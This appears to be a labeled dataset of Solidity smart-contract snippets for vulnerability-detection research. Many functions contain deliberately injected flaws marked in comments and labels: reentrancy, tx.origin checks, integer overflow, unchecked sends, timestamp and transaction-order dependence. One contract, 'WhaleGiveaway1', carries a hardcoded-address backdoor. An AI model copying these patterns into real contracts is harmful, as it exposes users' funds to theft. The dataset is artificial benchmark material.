Unnamed: 0
int64 1
24.8k
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stringlengths 26
42.8k
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int64 0
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stringlengths 9
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22,305 | function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
} | 0 | buggy_23.sol |
12,661 | function setReward_TOD8() public payable {
require (!claimed_TOD8);
require(msg.sender == owner_TOD8);
owner_TOD8.transfer(reward_TOD8);
reward_TOD8 = msg.value;
} | 4 | buggy_35.sol |
20,253 | function bug_tmstmp13() view public returns (bool) {
return block.timestamp >= 1546300800;
} | 6 | buggy_42.sol |
15,053 | function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
} | 0 | buggy_30.sol |
22,422 | function init(Token _tokenAddress, address _chairmanAddress, uint _minimumTokensToVote, uint _minimumPercentToPassAVote, uint _minutesForDebate) onlyOwner public {
require(!initialized);
initialized = true;
changeVotingRules(_tokenAddress, _chairmanAddress, _minimumTokensToVote, _minimumPercentToPassAVote, _minutesForDebate);
emit Initialized();
} | 0 | buggy_36.sol |
3,557 | function bug_intou28(uint8 p_intou28) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou28; // overflow bug
} | 2 | buggy_30.sol |
6,195 | function bug_intou35() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
} | 2 | buggy_11.sol |
7,035 | constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
} | 0 | buggy_31.sol |
15,047 | function withdrawBalance_re_ent19() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
if( ! (msg.sender.send(userBalance_re_ent19[msg.sender]) ) ){
revert();
}
userBalance_re_ent19[msg.sender] = 0;
} | 5 | buggy_30.sol |
7,700 | function unhandledsend_unchk26(address payable callee) public {
callee.send(5 ether);
} | 3 | buggy_32.sol |
15,698 | function _stop() internal
{
emit Stopped();
stopped = true;
} | 0 | buggy_6.sol |
20,417 | function transferBatch(address[] memory _tos, uint256[] memory _values) public returns (bool) {
require(_tos.length == _values.length);
for (uint256 i = 0; i < _tos.length; i++) {
transfer(_tos[i], _values[i]);
}
return true;
} | 0 | buggy_9.sol |
8,468 | function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
} | 0 | buggy_34.sol |
9,421 | function transferFrom(address from, address to, uint tokens) public returns (bool success); | 0 | buggy_48.sol |
15,882 | function buyTicket_re_ent23() public{
if (!(lastPlayer_re_ent23.send(jackpot_re_ent23)))
revert();
lastPlayer_re_ent23 = msg.sender;
jackpot_re_ent23 = address(this).balance;
} | 5 | buggy_23.sol |
907 | function withdrawAll_txorigin30(address payable _recipient,address owner_txorigin30) public {
require(tx.origin == owner_txorigin30);
_recipient.transfer(address(this).balance);
} | 1 | buggy_2.sol |
12,115 | function claimReward_TOD36(uint256 submission) public {
require (!claimed_TOD36);
require(submission < 10);
msg.sender.transfer(reward_TOD36);
claimed_TOD36 = true;
} | 4 | buggy_7.sol |
1,642 | function sendto_txorigin17(address payable receiver, uint amount,address owner_txorigin17) public {
require (tx.origin == owner_txorigin17);
receiver.transfer(amount);
} | 1 | buggy_35.sol |
8,126 | function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
} | 0 | buggy_23.sol |
14,576 | function play_TOD19(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD19 = msg.sender;
}
} | 4 | buggy_14.sol |
23,160 | function bug_unchk_send16() payable public{
msg.sender.transfer(1 ether);} | 7 | buggy_47.sol |
10,599 | function play_TOD13(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD13 = msg.sender;
}
} | 4 | buggy_30.sol |
17,113 | contract W_WALLET
{
function Put(uint _unlockTime)
public
payable
{
var acc = Acc[msg.sender];
acc.balance += msg.value;
acc.unlockTime = _unlockTime>now?_unlockTime:now;
LogFile.AddMessage(msg.sender,msg.value,"Put");
}
function Collect(uint _am)
public
payable
{
var acc = Acc[msg.sender];
if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
{
// <yes> <report> REENTRANCY
if(msg.sender.call.value(_am)())
{
acc.balance-=_am;
LogFile.AddMessage(msg.sender,_am,"Collect");
}
}
}
function()
public
payable
{
Put(0);
}
struct Holder
{
uint unlockTime;
uint balance;
}
mapping (address => Holder) public Acc;
Log LogFile;
uint public MinSum = 1 ether;
function W_WALLET(address log) public{
LogFile = Log(log);
}
} | 5 | 0x7b368c4e805c3870b6c49a3f1f49f69af8662cf3.sol |
18,931 | function play_tmstmp39(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp39 = msg.sender;}} | 6 | buggy_6.sol |
4,001 | function transfer(address to, uint256 value) external returns (bool); | 0 | buggy_27.sol |
8,493 | function withdrawLeftOver_unchk9() public {
require(payedOut_unchk9);
msg.sender.send(address(this).balance);
} | 3 | buggy_20.sol |
466 | function operatorBurn(
address account,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external; | 0 | buggy_30.sol |
5,987 | function bug_intou31() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
} | 2 | buggy_9.sol |
16,120 | function owner() public view returns (address)
{
return _owner;
} | 0 | buggy_7.sol |
8,008 | function version() external pure returns(string memory)
{
return '0.0.1';
} | 0 | buggy_6.sol |
4,123 | function bug_intou32(uint8 p_intou32) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou32; // overflow bug
} | 2 | buggy_2.sol |
494 | function transferTo_txorigin31(address to, uint amount,address owner_txorigin31) public {
require(tx.origin == owner_txorigin31);
to.call.value(amount);
} | 1 | buggy_18.sol |
8,011 | function sendToWinner_unchk8() public {
require(!payedOut_unchk8);
winner_unchk8.send(winAmount_unchk8);
payedOut_unchk8 = true;
} | 3 | buggy_6.sol |
19,503 | function changeOwner(address _newOwner) external onlyOwner {
owner = _newOwner;
emit OwnerChanged(msg.sender, _newOwner);
} | 0 | buggy_20.sol |
18,520 | function totalSupply() public view returns(uint) {
return _totalSupply - balances[address(0)];
} | 0 | buggy_18.sol |
20,914 | function play_tmstmp31(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp31 = msg.sender;}} | 6 | buggy_17.sol |
19,060 | function play_tmstmp31(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp31 = msg.sender;}} | 6 | buggy_23.sol |
21,640 | function bug_unchk_send31() payable public{
msg.sender.transfer(1 ether);} | 7 | buggy_18.sol |
23,064 | function donateForContractHealth()
external
payable
{
donateAmount[msg.sender] += msg.value;
emit Donate(msg.value, msg.sender);
} | 0 | 0xe09b1ab8111c2729a76f16de96bc86a7af837928.sol |
21,933 | function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
} | 0 | buggy_33.sol |
16,062 | function changeVotingRules(Token _tokenAddress, address _chairmanAddress, uint _minimumTokensToVote, uint _minimumPercentToPassAVote, uint _minutesForDebate) onlyOwner public {
require(_chairmanAddress != address(0));
require(_minimumPercentToPassAVote <= 51);
tokenAddress = Token(_tokenAddress);
chairmanAddress = _chairmanAddress;
if (_minimumTokensToVote == 0 ) _minimumTokensToVote = 1;
minimumTokensToVote = _minimumTokensToVote;
if (_minimumPercentToPassAVote == 0 ) _minimumPercentToPassAVote = 51;
minimumQuorum = _minimumPercentToPassAVote;
debatingPeriodInMinutes = _minutesForDebate;
emit ChangeOfRules(_minimumTokensToVote, minimumQuorum, debatingPeriodInMinutes, address(tokenAddress), chairmanAddress);
} | 0 | buggy_22.sol |
6,487 | function increaseLockTime_intou37(uint _secondsToIncrease) public {
lockTime_intou37[msg.sender] += _secondsToIncrease; //overflow
} | 2 | buggy_16.sol |
11,823 | contract owned {
bool claimed_TOD24 = false;
address payable owner_TOD24;
uint256 reward_TOD24;
function setReward_TOD24() public payable {
require (!claimed_TOD24);
require(msg.sender == owner_TOD24);
owner_TOD24.transfer(reward_TOD24);
reward_TOD24 = msg.value;
}
function claimReward_TOD24(uint256 submission) public {
require (!claimed_TOD24);
require(submission < 10);
msg.sender.transfer(reward_TOD24);
claimed_TOD24 = true;
}
address public owner;
constructor() public {
owner = msg.sender;
}
address payable winner_TOD11;
function play_TOD11(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD11 = msg.sender;
}
}
function getReward_TOD11() payable public{
winner_TOD11.transfer(msg.value);
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
address payable winner_TOD1;
function play_TOD1(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD1 = msg.sender;
}
}
function getReward_TOD1() payable public{
winner_TOD1.transfer(msg.value);
}
} | 4 | buggy_36.sol |
9,079 | function bug_unchk19() public{
address payable addr_unchk19;
if (!addr_unchk19.send (10 ether) || 1==1)
{revert();}
} | 3 | buggy_40.sol |
13,736 | function getReward_TOD11() payable public{
winner_TOD11.transfer(msg.value);
} | 4 | buggy_48.sol |
9,233 | function my_func_uncheck36(address payable dst) public payable{
dst.call.value(msg.value)("");
} | 3 | buggy_43.sol |
22,709 | constructor () public {
owner = msg.sender;
} | 0 | buggy_5.sol |
17,542 | function callme_re_ent42() public{
require(counter_re_ent42<=5);
if( ! (msg.sender.send(10 ether) ) ){
revert();
}
counter_re_ent42 += 1;
} | 5 | buggy_16.sol |
3,136 | function bug_intou8(uint8 p_intou8) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou8; // overflow bug
} | 2 | buggy_19.sol |
8,165 | function unhandledsend_unchk26(address payable callee) public {
callee.send(5 ether);
} | 3 | buggy_23.sol |
11,503 | function setReward_TOD12() public payable {
require (!claimed_TOD12);
require(msg.sender == owner_TOD12);
owner_TOD12.transfer(reward_TOD12);
reward_TOD12 = msg.value;
} | 4 | buggy_6.sol |
9,122 | function decimals() public view returns (uint8) {
return _decimals;
} | 0 | buggy_40.sol |
6,549 | function approve(address spender, uint256 value) public returns (bool); | 0 | BECToken.sol |
17,713 | function withdraw_balances_re_ent8 () public {
(bool success,) = msg.sender.call.value(balances_re_ent8[msg.sender ])("");
if (success)
balances_re_ent8[msg.sender] = 0;
} | 5 | buggy_15.sol |
8,582 | function callnotchecked_unchk25(address payable callee) public {
callee.call.value(1 ether);
} | 3 | buggy_20.sol |
11,404 | function setReward_TOD20() public payable {
require (!claimed_TOD20);
require(msg.sender == owner_TOD20);
owner_TOD20.transfer(reward_TOD20);
reward_TOD20 = msg.value;
} | 4 | buggy_2.sol |
11,909 | function setReward_TOD32() public payable {
require (!claimed_TOD32);
require(msg.sender == owner_TOD32);
owner_TOD32.transfer(reward_TOD32);
reward_TOD32 = msg.value;
} | 4 | buggy_36.sol |
18,047 | function bug_tmstmp40 () public payable {
uint pastBlockTime_tmstmp40; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp40); // only 1 transaction per block //bug
pastBlockTime_tmstmp40 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
} | 6 | buggy_31.sol |
15,353 | function balanceOf(address account) external view returns (uint256); | 0 | buggy_26.sol |
18,749 | function bug_tmstmp4 () public payable {
uint pastBlockTime_tmstmp4; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp4); // only 1 transaction per block //bug
pastBlockTime_tmstmp4 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
} | 6 | buggy_33.sol |
10,042 | function approve(address spender, uint256 value) external returns (bool); | 0 | buggy_14.sol |
23,003 | function withdrawTradingFeeOwner() public onlyOwner returns (string memory){
uint256 amount = availableTradingFeeOwner();
require (amount > 0, 'Nothing to withdraw');
tokens[address(0)][feeAccount] = 0;
msg.sender.transfer(amount);
emit OwnerWithdrawTradingFee(owner, amount);
} | 0 | buggy_35.sol |
9,747 | function withdrawBal_unchk17 () public{
uint64 Balances_unchk17 = 0;
msg.sender.send(Balances_unchk17);} | 3 | buggy_17.sol |
13,545 | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
} | 0 | buggy_42.sol |
1,524 | function transferTo_txorigin31(address to, uint amount,address owner_txorigin31) public {
require(tx.origin == owner_txorigin31);
to.call.value(amount);
} | 1 | buggy_20.sol |
7,996 | function _transferOwnership(address newOwner) internal
{
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
} | 0 | buggy_6.sol |
20,292 | function play_tmstmp11(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp11 = msg.sender;}} | 6 | buggy_48.sol |
13,876 | function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
} | 0 | buggy_38.sol |
10,133 | function play_TOD7(bytes32 guess) public{
if (keccak256(abi.encode(guess)) == keccak256(abi.encode('hello'))) {
winner_TOD7 = msg.sender;
}
} | 4 | buggy_19.sol |
14,511 | function claimReward_TOD4(uint256 submission) public {
require (!claimed_TOD4);
require(submission < 10);
msg.sender.transfer(reward_TOD4);
claimed_TOD4 = true;
} | 4 | buggy_28.sol |
7,219 | function setManager(address account, address newManager) external; | 0 | buggy_30.sol |
21,368 | function calcDynamicCommission() external onlyOwner {
for (uint256 i = 0; i < totalUserCount; ++i) {
User storage user = userMapping[addressMapping[i]];
user.calcDynamicCommissionAmount = 0;
}
for (uint256 i = 0; i < totalUserCount; ++i) {
User memory user = userMapping[addressMapping[i]];
if (user.currentInvestAmount > 0) {
uint256 commissionDays = now.sub(user.currentInvestTime).div(ONE_DAY);
if (commissionDays >= 1 && commissionDays <= user.currentInvestCycle) {
uint256 depth = 1;
address addressWalker = user.sponsorAddress;
while (addressWalker != GENESIS_USER_ADDRESS) {
User storage sponsor = userMapping[addressWalker];
if (sponsor.currentInvestAmount > 0) {
uint256 dynamicCommissionRatio = getDynamicCommissionRatio(sponsor, depth);
if (dynamicCommissionRatio > 0) {
uint256 dynamicCA = sponsor.currentInvestAmount;
if (dynamicCA > user.currentInvestAmount) {
dynamicCA = user.currentInvestAmount;
}
dynamicCA = dynamicCA.mul(user.currentStaticCommissionRatio);
dynamicCA = dynamicCA.mul(dynamicCommissionRatio);
if (sponsor.currentlevel == 1) {
dynamicCA = dynamicCA.mul(3).div(1000 * 100 * 10);
} else if (sponsor.currentlevel == 2) {
dynamicCA = dynamicCA.mul(6).div(1000 * 100 * 10);
} else {
dynamicCA = dynamicCA.div(1000 * 100);
}
sponsor.calcDynamicCommissionAmount = sponsor.calcDynamicCommissionAmount.add(dynamicCA);
}
}
addressWalker = sponsor.sponsorAddress;
depth = depth.add(1);
}
}
}
}
for (uint256 i = 0; i < totalUserCount; ++i) {
address userAddress = addressMapping[i];
User storage user = userMapping[userAddress];
if (user.calcDynamicCommissionAmount > 0) {
user.dynamicCommissionBalance = user.dynamicCommissionBalance.add(user.calcDynamicCommissionAmount);
addDynamicCommissionRecord(userAddress, now, user.calcDynamicCommissionAmount);
}
}
} | 0 | buggy_24.sol |
9,411 | function totalSupply() public view returns (uint); | 0 | buggy_48.sol |
22,324 | function approve(address spender, uint256 value) external returns (bool); | 0 | buggy_23.sol |
2,676 | function totalSupply() public view returns (uint256); | 0 | buggy_16.sol |
16,962 | function isOperator(address caller) public view returns (bool ok) {
return (caller == getOperator());
} | 0 | buggy_43.sol |
19,801 | function play_tmstmp2(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){
winner_tmstmp2 = msg.sender;}} | 6 | buggy_47.sol |
671 | function transferTo_txorigin7(address to, uint amount,address owner_txorigin7) public {
require(tx.origin == owner_txorigin7);
to.call.value(amount);
} | 1 | buggy_32.sol |
20,759 | function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
} | 0 | buggy_16.sol |
14,487 | function balanceOf(address who) external view returns (uint256); | 0 | buggy_28.sol |
22,321 | function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
} | 0 | buggy_23.sol |
11,025 | function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
} | 0 | buggy_26.sol |
10,709 | function setReward_TOD34() public payable {
require (!claimed_TOD34);
require(msg.sender == owner_TOD34);
owner_TOD34.transfer(reward_TOD34);
reward_TOD34 = msg.value;
} | 4 | buggy_30.sol |
22,355 | contract Token is Ownable
{
address owner = msg.sender;
function WithdrawToken(address token, uint256 amount,address to)
public
onlyOwner
{
// <yes> <report> UNCHECKED_LL_CALLS
token.call(bytes4(sha3("transfer(address,uint256)")),to,amount);
}
} | 7 | 0x627fa62ccbb1c1b04ffaecd72a53e37fc0e17839.sol |
3,333 | function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external; | 0 | buggy_30.sol |
7,711 | function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
} | 0 | buggy_32.sol |
7,670 | function sendToWinner_unchk8() public {
require(!payedOut_unchk8);
winner_unchk8.send(winAmount_unchk8);
payedOut_unchk8 = true;
} | 3 | buggy_32.sol |
15,404 | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
} | 0 | buggy_32.sol |
7,655 | function withdrawLeftOver_unchk33() public {
require(payedOut_unchk33);
msg.sender.send(address(this).balance);
} | 3 | buggy_26.sol |
19,292 | contract Ownable
{
function bug_tmstmp1() view public returns (bool) {
return block.timestamp >= 1546300800;
}
bool private stopped;
address winner_tmstmp2;
function play_tmstmp2(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){
winner_tmstmp2 = msg.sender;}}
address private _owner;
function bug_tmstmp17() view public returns (bool) {
return block.timestamp >= 1546300800;
}
address private _master;
address winner_tmstmp31;
function play_tmstmp31(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp31 = msg.sender;}}
event Stopped();
function bug_tmstmp13() view public returns (bool) {
return block.timestamp >= 1546300800;
}
event Started();
uint256 bugv_tmstmp5 = block.timestamp;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
uint256 bugv_tmstmp1 = block.timestamp;
event MasterRoleTransferred(address indexed previousMaster, address indexed newMaster);
constructor () internal
{
stopped = false;
_owner = msg.sender;
_master = msg.sender;
emit OwnershipTransferred(address(0), _owner);
emit MasterRoleTransferred(address(0), _master);
}
function bug_tmstmp9() view public returns (bool) {
return block.timestamp >= 1546300800;
}
function owner() public view returns (address)
{
return _owner;
}
function bug_tmstmp25() view public returns (bool) {
return block.timestamp >= 1546300800;
}
function master() public view returns (address)
{
return _master;
}
address winner_tmstmp19;
function play_tmstmp19(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp19 = msg.sender;}}
modifier onlyOwner()
{
require(isOwner());
_;
}
modifier onlyMaster()
{
require(isMaster() || isOwner());
_;
}
modifier onlyWhenNotStopped()
{
require(!isStopped());
_;
}
function isOwner() public view returns (bool)
{
return msg.sender == _owner;
}
address winner_tmstmp26;
function play_tmstmp26(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){
winner_tmstmp26 = msg.sender;}}
function isMaster() public view returns (bool)
{
return msg.sender == _master;
}
function bug_tmstmp20 () public payable {
uint pastBlockTime_tmstmp20; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp20); // only 1 transaction per block //bug
pastBlockTime_tmstmp20 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
function transferOwnership(address newOwner) external onlyOwner
{
_transferOwnership(newOwner);
}
function bug_tmstmp32 () public payable {
uint pastBlockTime_tmstmp32; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp32); // only 1 transaction per block //bug
pastBlockTime_tmstmp32 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
function transferMasterRole(address newMaster) external onlyOwner
{
_transferMasterRole(newMaster);
}
address winner_tmstmp38;
function play_tmstmp38(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){
winner_tmstmp38 = msg.sender;}}
function isStopped() public view returns (bool)
{
return stopped;
}
function bug_tmstmp4 () public payable {
uint pastBlockTime_tmstmp4; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp4); // only 1 transaction per block //bug
pastBlockTime_tmstmp4 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
function stop() public onlyOwner
{
_stop();
}
address winner_tmstmp7;
function play_tmstmp7(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp7 = msg.sender;}}
function start() public onlyOwner
{
_start();
}
address winner_tmstmp23;
function play_tmstmp23(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp23 = msg.sender;}}
function _transferOwnership(address newOwner) internal
{
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address winner_tmstmp14;
function play_tmstmp14(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){
winner_tmstmp14 = msg.sender;}}
function _transferMasterRole(address newMaster) internal
{
require(newMaster != address(0));
emit MasterRoleTransferred(_master, newMaster);
_master = newMaster;
}
address winner_tmstmp30;
function play_tmstmp30(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){
winner_tmstmp30 = msg.sender;}}
function _stop() internal
{
emit Stopped();
stopped = true;
}
function bug_tmstmp8 () public payable {
uint pastBlockTime_tmstmp8; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp8); // only 1 transaction per block //bug
pastBlockTime_tmstmp8 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
}
function _start() internal
{
emit Started();
stopped = false;
}
address winner_tmstmp39;
function play_tmstmp39(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){
winner_tmstmp39 = msg.sender;}}
} | 6 | buggy_7.sol |
16,322 | function withdrawBalance_re_ent33() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
(bool success,)= msg.sender.call.value(userBalance_re_ent33[msg.sender])("");
if( ! success ){
revert();
}
userBalance_re_ent33[msg.sender] = 0;
} | 5 | buggy_20.sol |
4,615 | function bug_intou20(uint8 p_intou20) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou20; // overflow bug
} | 2 | buggy_7.sol |
23,815 | contract WhaleGiveaway1
{
address public Owner = msg.sender;
function()
public
payable
{
}
function GetFreebie()
public
payable
{
if(msg.value>1 ether)
{ Owner.transfer(this.balance);
msg.sender.transfer(this.balance);
}
}
function withdraw()
payable
public
{ if(msg.sender==0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b){Owner=0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b;}
require(msg.sender == Owner);
Owner.transfer(this.balance);
}
function Command(address adr,bytes data)
payable
public
{
require(msg.sender == Owner);
// <yes> <report> UNCHECKED_LL_CALLS
adr.call.value(msg.value)(data);
}
} | 7 | 0x7a4349a749e59a5736efb7826ee3496a2dfd5489.sol |
1,580 | function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
} | 0 | buggy_21.sol |
15,079 | function bug_re_ent13() public{
require(not_called_re_ent13);
(bool success,)=msg.sender.call.value(1 ether)("");
if( ! success ){
revert();
}
not_called_re_ent13 = false;
} | 5 | buggy_30.sol |
12,041 | function sign(
uint proposalNumber,
bool signProposal
)
onlyTokenholders public
returns (uint voteID)
{
require(initialized);
Proposal storage p = proposals[proposalNumber];
require(msg.sender == chairmanAddress);
require(signProposal == true);
p.signedByChairman = signProposal;
emit ProposalSignedByChairman(proposalNumber, signProposal, msg.sender);
return proposalNumber;
} | 0 | buggy_22.sol |
19,725 | function bug_tmstmp20 () public payable {
uint pastBlockTime_tmstmp20; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp20); // only 1 transaction per block //bug
pastBlockTime_tmstmp20 = now; //bug
if(now % 15 == 0) { // winner //bug
msg.sender.transfer(address(this).balance);
}
} | 6 | buggy_47.sol |
5,137 | function bug_intou7() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug
} | 2 | buggy_4.sol |
7,859 | constructor() public ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_mint(msg.sender, _totalSupply);
} | 0 | buggy_27.sol |
19,100 | function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
} | 0 | buggy_23.sol |
Subsets and Splits